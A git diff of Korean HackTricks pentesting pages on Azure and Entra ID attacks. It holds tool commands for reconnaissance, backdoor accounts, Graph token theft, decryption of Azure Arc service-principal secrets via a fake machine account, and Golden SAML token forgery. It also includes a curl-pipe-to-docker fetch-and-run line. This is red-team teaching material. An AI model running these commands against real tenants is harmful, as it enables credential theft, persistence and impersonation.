+``` +### [**AzureHound**](https://github.com/BloodHoundAD/AzureHound) +```bash +# Launch AzureHound +## Login with app secret +azurehound -a "" -s "" --tenant "" list -o ./output.json +## Login with user creds +azurehound -u "" -p "" --tenant "" list -o ./output.json +``` +**BloodHound** 웹을 **`curl -L https://ghst.ly/getbhce | docker compose -f - up`** 명령어로 실행하고 `output.json` 파일을 가져옵니다. + +그런 다음, **EXPLORE** 탭의 **CYPHER** 섹션에서 미리 구축된 쿼리를 포함하는 **폴더** 아이콘을 볼 수 있습니다. + +### [**MicroBurst**](https://github.com/NetSPI/MicroBurst) + +MicroBurst는 Azure 서비스 탐색, 약한 구성 감사 및 자격 증명 덤프와 같은 사후 활용 작업을 지원하는 기능과 스크립트를 포함합니다. Azure가 사용되는 침투 테스트 중에 사용하도록 설계되었습니다. +```bash +Import-Module .\MicroBurst.psm1 +Import-Module .\Get-AzureDomainInfo.ps1 +Get-AzureDomainInfo -folder MicroBurst -Verbose +``` +### [**PowerZure**](https://github.com/hausec/PowerZure) + +PowerZure는 Azure, EntraID 및 관련 리소스의 정찰 및 악용을 수행할 수 있는 프레임워크의 필요성에서 만들어졌습니다. + +이 도구는 **Az PowerShell** 모듈을 사용하므로 이 도구에서 지원하는 모든 인증이 지원됩니다. +```bash +# Login +Import-Module Az +Connect-AzAccount + +# Clone and import PowerZure +git clone https://github.com/hausec/PowerZure +cd PowerZure +ipmo ./Powerzure.psd1 +Invoke-Powerzure -h # Check all the options + +# Info Gathering (read) +Get-AzureCurrentUser # Get current user +Get-AzureTarget # What can you access to +Get-AzureUser -All # Get all users +Get-AzureSQLDB -All # Get all SQL DBs +Get-AzureAppOwner # Owners of apps in Entra +Show-AzureStorageContent -All # List containers, shared and tables +Show-AzureKeyVaultContent -All # List all contents in key vaults + + +# Operational (write) +Set-AzureUserPassword -Password -Username # Change password +Set-AzureElevatedPrivileges # Get permissions from Global Administrator in EntraID to User Access Administrator in Azure RBAC. +New-AzureBackdoor -Username -Password +Invoke-AzureRunCommand -Command -VMName +[...] +``` +### [**GraphRunner**](https://github.com/dafthack/GraphRunner/wiki/Invoke%E2%80%90GraphRunner) + +GraphRunner는 Microsoft Graph API와 상호작용하기 위한 포스트 익스플로잇 도구 모음입니다. 이 도구는 Microsoft Entra ID (Azure AD) 계정에서 정찰, 지속성 및 데이터 약탈을 수행하기 위한 다양한 도구를 제공합니다. +```bash +#A good place to start is to authenticate with the Get-GraphTokens module. This module will launch a device-code login, allowing you to authenticate the session from a browser session. Access and refresh tokens will be written to the global $tokens variable. To use them with other GraphRunner modules use the Tokens flag (Example. Invoke-DumpApps -Tokens $tokens) +Import-Module .\GraphRunner.ps1 +Get-GraphTokens + +#This module gathers information about the tenant including the primary contact info, directory sync settings, and user settings such as if users have the ability to create apps, create groups, or consent to apps. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-GraphRecon -Tokens $tokens -PermissionEnum + +#A module to dump conditional access policies from a tenant. +Invoke-DumpCAPS -Tokens $tokens -ResolveGuids + +#This module helps identify malicious app registrations. It will dump a list of Azure app registrations from the tenant including permission scopes and users that have consented to the apps. Additionally, it will list external apps that are not owned by the current tenant or by Microsoft's main app tenant. This is a good way to find third-party external apps that users may have consented to. +Invoke-DumpApps -Tokens $tokens + +#Gather the full list of users from the directory. +Get-AzureADUsers -Tokens $tokens -OutFile users.txt + +#Create a list of security groups along with their members. +Get-SecurityGroups -AccessToken $tokens.access_token + +#Gets groups that may be able to be modified by the current user +Get-UpdatableGroups -Tokens $tokens + +#Finds dynamic groups and displays membership rules +Get-DynamicGroups -Tokens $tokens + +#Gets a list of SharePoint site URLs visible to the current user +Get-SharePointSiteURLs -Tokens $tokens + +#This module attempts to locate mailboxes in a tenant that have allowed other users to read them. By providing a userlist the module will attempt to access the inbox of each user and display if it was successful. The access token needs to be scoped to Mail.Read.Shared or Mail.ReadWrite.Shared for this to work. +Invoke-GraphOpenInboxFinder -Tokens $tokens -Userlist users.txt + +#This module attempts to gather a tenant ID associated with a domain. +Get-TenantID -Domain + +#Runs Invoke-GraphRecon, Get-AzureADUsers, Get-SecurityGroups, Invoke-DumpCAPS, Invoke-DumpApps, and then uses the default_detectors.json file to search with Invoke-SearchMailbox, Invoke-SearchSharePointAndOneDrive, and Invoke-SearchTeams. +Invoke-GraphRunner -Tokens $tokens +``` +### [Stormspotter](https://github.com/Azure/Stormspotter) + +Stormspotter는 Azure 구독의 리소스에 대한 “공격 그래프”를 생성합니다. 이를 통해 레드 팀과 펜테스터는 테넌트 내의 공격 표면과 피벗 기회를 시각화할 수 있으며, 방어자가 사건 대응 작업을 신속하게 정렬하고 우선 순위를 매길 수 있도록 지원합니다. + +**불행히도, 유지 관리되지 않는 것 같습니다.** +```bash +# Start Backend +cd stormspotter\backend\ +pipenv shell +python ssbackend.pyz + +# Start Front-end +cd stormspotter\frontend\dist\spa\ +quasar.cmd serve -p 9091 --history + +# Run Stormcollector +cd stormspotter\stormcollector\ +pipenv shell +az login -u test@corp.onmicrosoft.com -p Welcome2022! +python stormspotter\stormcollector\sscollector.pyz cli +# This will generate a .zip file to upload in the frontend (127.0.0.1:9091) +``` {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md index 9b37b9622..22fd94e7d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md @@ -4,17 +4,17 @@ ### 문제 식별 -Azure Arc는 그룹 정책 개체 방법을 사용하여 새로운 내부 서버(도메인에 가입된 서버)를 Azure Arc에 통합할 수 있도록 합니다. 이를 위해 Microsoft는 온보딩 절차를 시작하는 데 필요한 배포 툴킷을 제공합니다. ArcEnableServerGroupPolicy.zip 파일 내에는 다음 스크립트가 포함되어 있습니다: DeployGPO.ps1, EnableAzureArc.ps1, 및 AzureArcDeployment.psm1. +Azure Arc는 그룹 정책 개체 방법을 사용하여 새로운 내부 서버(도메인에 가입된 서버)를 Azure Arc에 통합할 수 있도록 합니다. 이를 위해 Microsoft는 온보딩 절차를 시작하는 데 필요한 배포 툴킷을 제공합니다. ArcEnableServerGroupPolicy.zip 파일 내에는 DeployGPO.ps1, EnableAzureArc.ps1 및 AzureArcDeployment.psm1 스크립트가 포함되어 있습니다. -DeployGPO.ps1 스크립트를 실행하면 다음 작업이 수행됩니다: +DeployGPO.ps1 스크립트를 실행하면 다음과 같은 작업이 수행됩니다: 1. 로컬 도메인 내에 Azure Arc 서버 온보딩 GPO를 생성합니다. 2. 온보딩 프로세스를 위해 생성된 지정된 네트워크 공유에 EnableAzureArc.ps1 온보딩 스크립트를 복사하며, 이 공유에는 Windows 설치 패키지도 포함되어 있습니다. -이 스크립트를 실행할 때 시스템 관리자는 두 가지 주요 매개변수인 **ServicePrincipalId**와 **ServicePrincipalClientSecret**을 제공해야 합니다. 또한 도메인, 공유를 호스팅하는 서버의 FQDN, 공유 이름과 같은 다른 매개변수도 필요합니다. 테넌트 ID, 리소스 그룹 및 기타 필요한 정보와 같은 추가 세부정보도 스크립트에 제공되어야 합니다. +이 스크립트를 실행할 때 시스템 관리자는 두 가지 주요 매개변수인 **ServicePrincipalId**와 **ServicePrincipalClientSecret**을 제공해야 합니다. 또한 도메인, 공유를 호스팅하는 서버의 FQDN 및 공유 이름과 같은 다른 매개변수도 필요합니다. 테넌트 ID, 리소스 그룹 및 기타 필요한 정보와 같은 추가 세부정보도 스크립트에 제공되어야 합니다. -DPAPI-NG 암호화를 사용하여 지정된 공유의 AzureArcDeploy 디렉토리에 암호화된 비밀이 생성됩니다. 암호화된 비밀은 encryptedServicePrincipalSecret이라는 이름의 파일에 저장됩니다. 이와 관련된 증거는 DeployGPO.ps1 스크립트에서 찾을 수 있으며, 여기서 암호화는 $descriptor와 $ServicePrincipalSecret을 입력으로 사용하여 ProtectBase64를 호출함으로써 수행됩니다. 설명자는 도메인 컴퓨터 및 도메인 컨트롤러 그룹 SID로 구성되어 있어, ServicePrincipalSecret은 도메인 컨트롤러 및 도메인 컴퓨터 보안 그룹에 의해서만 복호화될 수 있도록 보장합니다. -```powershell +DPAPI-NG 암호화를 사용하여 지정된 공유의 AzureArcDeploy 디렉토리에 암호화된 비밀이 생성됩니다. 암호화된 비밀은 encryptedServicePrincipalSecret이라는 이름의 파일에 저장됩니다. 이와 관련된 증거는 DeployGPO.ps1 스크립트에서 찾을 수 있으며, 여기서 암호화는 ProtectBase64를 호출하여 $descriptor와 $ServicePrincipalSecret을 입력으로 사용하여 수행됩니다. descriptor는 도메인 컴퓨터 및 도메인 컨트롤러 그룹 SID로 구성되어 있어, ServicePrincipalSecret은 도메인 컨트롤러 및 도메인 컴퓨터 보안 그룹에 의해서만 복호화될 수 있도록 합니다. +```bash # Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups $DomainComputersSID = "SID=" + $DomainComputersSID $DomainControllersSID = "SID=" + $DomainControllersSID @@ -31,20 +31,20 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe 3. AzureArcDeploy 디렉토리를 포함하는 네트워크 공유를 발견했습니다. AD 환경 내에서 머신 계정을 얻는 방법은 여러 가지가 있습니다. 가장 일반적인 방법 중 하나는 머신 계정 쿼터를 악용하는 것입니다. 또 다른 방법은 취약한 ACL 또는 다양한 다른 잘못된 구성으로 머신 계정을 손상시키는 것입니다. -```powershell +```bash Import-MKodule powermad New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose ``` -머신 계정을 얻으면 이 계정을 사용하여 인증할 수 있습니다. runas.exe 명령어와 netonly 플래그를 사용하거나 Rubeus.exe로 패스-더-티켓을 사용할 수 있습니다. -```powershell +기계 계정을 얻으면 이 계정을 사용하여 인증할 수 있습니다. runas.exe 명령을 netonly 플래그와 함께 사용하거나 Rubeus.exe로 패스-더-티켓을 사용할 수 있습니다. +```bash runas /user:fake01$ /netonly powershell ``` -```powershell +```bash .\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr ``` 컴퓨터 계정에 대한 TGT가 메모리에 저장되어 있으면, 다음 스크립트를 사용하여 서비스 주체 비밀을 복호화할 수 있습니다. -```powershell +```bash Import-Module .\AzureArcDeployment.psm1 $encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md index 95430216e..b7693b872 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md @@ -4,18 +4,18 @@ ## 기본 정보 -**온프레미스 Active Directory (AD)**와 **Azure AD** 간의 통합은 **Azure AD Connect**에 의해 이루어지며, **Single Sign-on (SSO)**을 지원하는 다양한 방법을 제공합니다. 각 방법은 유용하지만, 클라우드 또는 온프레미스 환경을 위협할 수 있는 잠재적인 보안 취약점을 제공합니다: +**온프레미스 Active Directory (AD)**와 **Azure AD** 간의 통합은 **Azure AD Connect**에 의해 촉진되며, **Single Sign-on (SSO)**을 지원하는 다양한 방법을 제공합니다. 각 방법은 유용하지만, 클라우드 또는 온프레미스 환경을 손상시킬 수 있는 잠재적인 보안 취약점을 제공합니다: - **Pass-Through Authentication (PTA)**: -- 온프레미스 AD의 에이전트가 손상될 가능성이 있으며, Azure 연결(온프레미스에서 클라우드로)의 사용자 비밀번호 검증을 허용합니다. -- 새로운 위치(클라우드에서 온프레미스로)에서 인증을 검증하기 위해 새로운 에이전트를 등록할 수 있는 가능성. +- 온프레미스 AD의 에이전트가 손상될 가능성, Azure 연결(온프레미스에서 클라우드로)의 사용자 비밀번호 검증을 허용합니다. +- 새로운 위치(클라우드에서 온프레미스로)에서 인증을 검증하기 위해 새로운 에이전트를 등록할 가능성. {{#ref}} pta-pass-through-authentication.md {{#endref}} - **Password Hash Sync (PHS)**: -- AD에서 특권 사용자의 평문 비밀번호를 추출할 수 있는 잠재성, 여기에는 고급 권한을 가진 자동 생성된 AzureAD 사용자의 자격 증명이 포함됩니다. +- AD에서 특권 사용자의 평문 비밀번호를 추출할 가능성, 고급 권한의 자동 생성된 AzureAD 사용자의 자격 증명을 포함합니다. {{#ref}} phs-password-hash-sync.md @@ -29,14 +29,14 @@ federation.md {{#endref}} - **Seamless SSO:** -- Kerberos 실버 티켓 서명에 사용되는 `AZUREADSSOACC` 사용자의 비밀번호 도난, 이를 통해 모든 클라우드 사용자를 가장할 수 있습니다. +- Kerberos 실버 티켓 서명에 사용되는 `AZUREADSSOACC` 사용자의 비밀번호 도난, 모든 클라우드 사용자를 가장할 수 있게 합니다. {{#ref}} seamless-sso.md {{#endref}} - **Cloud Kerberos Trust**: -- AzureAD 사용자 이름과 SID를 조작하고 AzureAD에서 TGT를 요청하여 글로벌 관리자에서 온프레미스 도메인 관리자 권한으로 상승할 가능성. +- AzureAD 사용자 이름과 SID를 조작하고 AzureAD에서 TGT를 요청하여 Global Admin에서 온프레미스 Domain Admin으로 상승할 가능성. {{#ref}} az-cloud-kerberos-trust.md @@ -49,10 +49,10 @@ az-cloud-kerberos-trust.md az-default-applications.md {{#endref}} -각 통합 방법에 대해 사용자 동기화가 수행되며, 온프레미스 AD에 `MSOL_` 계정이 생성됩니다. 특히, **PHS** 및 **PTA** 방법은 **Seamless SSO**를 지원하여 온프레미스 도메인에 가입된 Azure AD 컴퓨터의 자동 로그인을 가능하게 합니다. +각 통합 방법에 대해 사용자 동기화가 수행되며, 온프레미스 AD에 `MSOL_` 계정이 생성됩니다. 특히, **PHS** 및 **PTA** 방법은 **Seamless SSO**를 촉진하여 온프레미스 도메인에 가입된 Azure AD 컴퓨터의 자동 로그인을 가능하게 합니다. **Azure AD Connect**의 설치를 확인하기 위해, 기본적으로 Azure AD Connect와 함께 설치된 **AzureADConnectHealthSync** 모듈을 사용하는 다음 PowerShell 명령을 사용할 수 있습니다: -```powershell +```bash Get-ADSyncConnector ``` {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md index 61b2b1fc7..4ba86e819 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md @@ -2,22 +2,22 @@ {{#include ../../../../banners/hacktricks-training.md}} -## 온프레미스에서 AzureAD로 상승하기 위해 AzureAD 사용자를 온프레미스로 동기화하기 +## 온프레미스에서 AzureAD로 상승하기 위한 AzureAD 사용자 동기화 AzureAD에서 온프레미스 AD로 새로운 사용자를 동기화하기 위해서는 다음과 같은 요구 사항이 있습니다: - **AzureAD 사용자**는 프록시 주소( **메일박스** )가 필요합니다. - 라이센스는 필요하지 않습니다. - **이미 동기화되어 있지 않아야** 합니다. -```powershell +```bash Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl ``` -사용자가 AzureAD에서 발견되면, **온프레미스 AD에서 액세스하기 위해** **프록시 주소**로 SMTP 이메일을 가진 **새 계정을 생성하기만 하면** 됩니다. +AzureAD에서 이러한 사용자가 발견되면, **온프레미스 AD에서 액세스하기 위해** **SMTP 이메일의 proxyAddress**로 **새 계정을 생성**하기만 하면 됩니다. 자동으로 이 사용자는 **AzureAD에서 온프레미스 AD 사용자로 동기화**됩니다. > [!CAUTION] -> 이 공격을 수행하기 위해 **도메인 관리자 권한이 필요하지 않으며**, **새 사용자를 생성할 수 있는 권한만 필요**합니다. +> 이 공격을 수행하기 위해 **도메인 관리자**가 필요하지 않으며, **새 사용자를 생성**할 수 있는 권한만 필요합니다. > > 또한, 이 **MFA를 우회하지 않습니다**. > diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md index 8f84a3c5c..70ea6f5e6 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md @@ -4,17 +4,17 @@ ## Basic Information -[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation**는 **신뢰**를 구축한 **도메인**의 집합입니다. 신뢰의 수준은 다양할 수 있지만, 일반적으로 **인증**을 포함하고 거의 항상 **권한 부여**를 포함합니다. 일반적인 연합에는 **공유된 리소스**에 대한 **신뢰**를 구축한 **여러 조직**이 포함될 수 있습니다. +[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation**는 **신뢰**를 구축한 **도메인**의 집합입니다. 신뢰의 수준은 다양할 수 있지만, 일반적으로 **인증**을 포함하고 거의 항상 **권한 부여**를 포함합니다. 일반적인 연합에는 **공유 액세스**를 위해 **신뢰**를 구축한 **여러 조직**이 포함될 수 있습니다. -온프레미스 환경을 **Azure AD**와 **연합**하고 이 연합을 인증 및 권한 부여에 사용할 수 있습니다. 이 로그인 방법은 모든 사용자 **인증이 온프레미스에서 발생**하도록 보장합니다. 이 방법은 관리자가 더 엄격한 접근 제어 수준을 구현할 수 있게 합니다. **AD FS** 및 PingFederate와의 연합이 가능합니다. +온프레미스 환경을 **Azure AD**와 **연합**하고 이 연합을 인증 및 권한 부여에 사용할 수 있습니다. 이 로그인 방법은 모든 사용자 **인증이 온프레미스에서 발생**하도록 보장합니다. 이 방법은 관리자가 더 엄격한 액세스 제어 수준을 구현할 수 있게 합니다. **AD FS** 및 PingFederate와의 연합이 가능합니다.
-기본적으로, Federation에서는 모든 **인증**이 **온프레미스** 환경에서 발생하며 사용자는 모든 신뢰된 환경에서 SSO를 경험합니다. 따라서 사용자는 **온프레미스 자격 증명**을 사용하여 **클라우드** 애플리케이션에 **접근**할 수 있습니다. +기본적으로, Federation에서는 모든 **인증**이 **온프레미스** 환경에서 발생하며 사용자는 모든 신뢰된 환경에서 SSO를 경험합니다. 따라서 사용자는 **온프레미스 자격 증명**을 사용하여 **클라우드** 애플리케이션에 **액세스**할 수 있습니다. **Security Assertion Markup Language (SAML)**는 제공자 간의 모든 인증 및 권한 부여 **정보**를 **교환**하는 데 사용됩니다. -모든 연합 설정에는 세 가지 당사자가 있습니다: +어떤 연합 설정에서도 세 가지 당사자가 있습니다: - 사용자 또는 클라이언트 - ID 제공자 (IdP) @@ -25,9 +25,9 @@
1. 처음에, 사용자에 의해 애플리케이션(서비스 제공자 또는 SP, 예: AWS 콘솔 또는 vSphere 웹 클라이언트)에 접근합니다. 이 단계는 특정 구현에 따라 클라이언트를 IdP(Identity Provider)로 직접 안내할 수 있습니다. -2. 그 후, SP는 사용자 인증을 위해 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SAML(Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다. +2. 이후, SP는 사용자 인증을 위해 적절한 IdP(예: AD FS, Okta)를 식별합니다. 그런 다음 SAML(Security Assertion Markup Language) AuthnRequest를 작성하고 클라이언트를 선택한 IdP로 리다이렉트합니다. 3. IdP가 사용자 인증을 수행합니다. 인증 후, IdP에 의해 SAMLResponse가 작성되어 사용자 통해 SP로 전달됩니다. -4. 마지막으로, SP는 SAMLResponse를 평가합니다. 성공적으로 검증되면 IdP와의 신뢰 관계를 의미하며, 사용자는 접근을 허용받습니다. 이는 로그인 프로세스의 완료를 나타내며 사용자가 서비스를 이용할 수 있게 합니다. +4. 마지막으로, SP는 SAMLResponse를 평가합니다. 성공적으로 검증되면 IdP와의 신뢰 관계를 의미하며, 사용자는 액세스를 부여받습니다. 이는 로그인 프로세스의 완료를 나타내며 사용자가 서비스를 활용할 수 있게 합니다. **SAML 인증 및 일반 공격에 대해 더 알고 싶다면 다음으로 가세요:** @@ -38,11 +38,11 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html ## Pivoting - AD FS는 클레임 기반의 신원 모델입니다. -- "..클레임은 사용자가 만든 단순한 진술(예: 이름, 신원, 그룹)으로, 주로 인터넷 어디에나 있는 클레임 기반 애플리케이션에 대한 접근을 권한 부여하는 데 사용됩니다." +- "..클레임은 사용자가 인증된 애플리케이션에 대한 액세스를 권한 부여하는 데 주로 사용되는 (예: 이름, 신원, 그룹) 진술입니다." - 사용자의 클레임은 SAML 토큰 내에 작성되며, IdP에 의해 기밀성을 제공하기 위해 서명됩니다. - 사용자는 ImmutableID로 식별됩니다. 이는 전 세계적으로 고유하며 Azure AD에 저장됩니다. - ImmutableID는 온프레미스에서 ms-DS-ConsistencyGuid로 저장되며, 사용자의 GUID에서 파생될 수 있습니다. -- 더 많은 정보는 [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)에서 확인하세요. +- 더 많은 정보는 [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)에서 확인할 수 있습니다. **Golden SAML 공격:** @@ -50,13 +50,13 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html - 인증서가 손상되면 Azure AD에 ANY 사용자로 인증할 수 있습니다! - PTA 남용과 마찬가지로, 사용자의 비밀번호 변경이나 MFA는 효과가 없으며, 인증 응답을 위조하고 있기 때문입니다. - 인증서는 DA 권한으로 AD FS 서버에서 추출할 수 있으며, 이후 인터넷에 연결된 어떤 기기에서도 사용할 수 있습니다. -- 더 많은 정보는 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)에서 확인하세요. +- 더 많은 정보는 [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)에서 확인할 수 있습니다. ### Golden SAML **Identity Provider (IdP)**가 사용자 로그인을 승인하기 위해 **SAMLResponse**를 생성하는 과정은 매우 중요합니다. IdP의 특정 구현에 따라 **응답**은 **서명**되거나 **암호화**될 수 있으며, **IdP의 개인 키**를 사용합니다. 이 절차는 **Service Provider (SP)**가 SAMLResponse의 진위를 확인할 수 있게 하여, 신뢰할 수 있는 IdP에 의해 발급되었음을 보장합니다. -[골든 티켓 공격](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)과 유사하게, 사용자의 신원 및 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 위조할 수 있습니다. 이를 통해 어떤 사용자든지 가장할 수 있으며, SP에 대한 무단 접근을 허용합니다. +[골든 티켓 공격](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)과 유사하게, 사용자의 신원 및 권한을 인증하는 키(KRBTGT는 골든 티켓의 경우, 토큰 서명 개인 키는 골든 SAML의 경우)를 조작하여 **인증 객체**(TGT 또는 SAMLResponse)를 **위조**할 수 있습니다. 이를 통해 어떤 사용자로도 가장할 수 있으며, SP에 대한 무단 액세스를 부여받을 수 있습니다. 골든 SAML은 몇 가지 장점을 제공합니다: @@ -67,9 +67,9 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html #### AWS + AD FS + Golden SAML -[Active Directory Federation Services (AD FS)]()는 신뢰할 수 있는 비즈니스 파트너 간의 **신원 정보의 안전한 교환**을 촉진하는 Microsoft 서비스입니다(연합). 본질적으로 도메인 서비스가 연합 내의 다른 서비스 제공자와 사용자 신원을 공유할 수 있게 합니다. +[Active Directory Federation Services (AD FS)]()는 신뢰할 수 있는 비즈니스 파트너 간의 **신원 정보의 안전한 교환**을 촉진하는 Microsoft 서비스입니다. 본질적으로 도메인 서비스가 연합 내의 다른 서비스 제공자와 사용자 신원을 공유할 수 있게 합니다. -AWS가 손상된 도메인을 신뢰하는 경우(연합 내에서), 이 취약점을 이용하여 AWS 환경에서 **모든 권한을 획득**할 수 있습니다. 이 공격은 SAML 객체에 서명하는 데 사용되는 **개인 키**가 필요하며, 이는 골든 티켓 공격에서 KRBTGT가 필요한 것과 유사합니다. AD FS 사용자 계정에 대한 접근만으로도 이 개인 키를 얻을 수 있습니다. +AWS가 손상된 도메인을 신뢰하는 경우(연합 내에서), 이 취약점을 이용하여 AWS 환경에서 **모든 권한을 획득**할 수 있습니다. 이 공격은 SAML 객체에 서명하는 데 사용되는 **개인 키**가 필요하며, 이는 골든 티켓 공격에서 KRBTGT가 필요한 것과 유사합니다. AD FS 사용자 계정에 대한 액세스만으로도 이 개인 키를 얻을 수 있습니다. 골든 SAML 공격을 실행하기 위한 요구 사항은 다음과 같습니다: @@ -83,8 +83,8 @@ AWS가 손상된 도메인을 신뢰하는 경우(연합 내에서), 이 취약 _굵게 표시된 항목만 필수입니다. 나머지는 원하는 대로 입력할 수 있습니다._ -**개인 키**를 얻으려면 **AD FS 사용자 계정**에 대한 접근이 필요합니다. 그 후, 개인 키는 [mimikatz](https://github.com/gentilkiwi/mimikatz)와 같은 도구를 사용하여 **개인 저장소에서 내보낼 수 있습니다**. 필요한 다른 정보를 수집하기 위해 Microsoft.Adfs.Powershell 스냅인을 다음과 같이 사용할 수 있으며, ADFS 사용자로 로그인되어 있어야 합니다: -```powershell +**개인 키**를 얻으려면 **AD FS 사용자 계정**에 대한 액세스가 필요합니다. 그 후, 개인 키는 [mimikatz](https://github.com/gentilkiwi/mimikatz)와 같은 도구를 사용하여 **개인 저장소에서 내보낼 수 있습니다**. 필요한 다른 정보를 수집하기 위해 Microsoft.Adfs.Powershell 스냅인을 다음과 같이 사용할 수 있으며, ADFS 사용자로 로그인되어 있어야 합니다: +```bash # From an "AD FS" session # After having exported the key with mimikatz @@ -97,7 +97,7 @@ _굵게 표시된 항목만 필수입니다. 나머지는 원하는 대로 입 # Role Name (Get-ADFSRelyingPartyTrust).IssuanceTransformRule ``` -모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장하고자 하는 사용자로서 유효한 SAMLResponse를 잊어버리는 것이 가능합니다:** +모든 정보를 바탕으로, [**shimit**](https://github.com/cyberark/shimit)**를 사용하여 가장 원하는 사용자의 유효한 SAMLResponse를 잊어버릴 수 있습니다:** ```bash # Apply session for AWS cli python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 @@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### 온프레미스 -> 클라우드 -```powershell +```bash # With a domain user you can get the ImmutableID of the target user [System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray()) @@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose ``` 클라우드 전용 사용자의 ImmutableID를 생성하고 그들을 가장하는 것도 가능합니다. -```powershell +```bash # Create a realistic ImmutableID and set it for a cloud only user [System.Convert]::ToBase64String((New-Guid).tobytearray()) Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK==" diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md index e59a94420..6ff08f90d 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md @@ -8,39 +8,39 @@
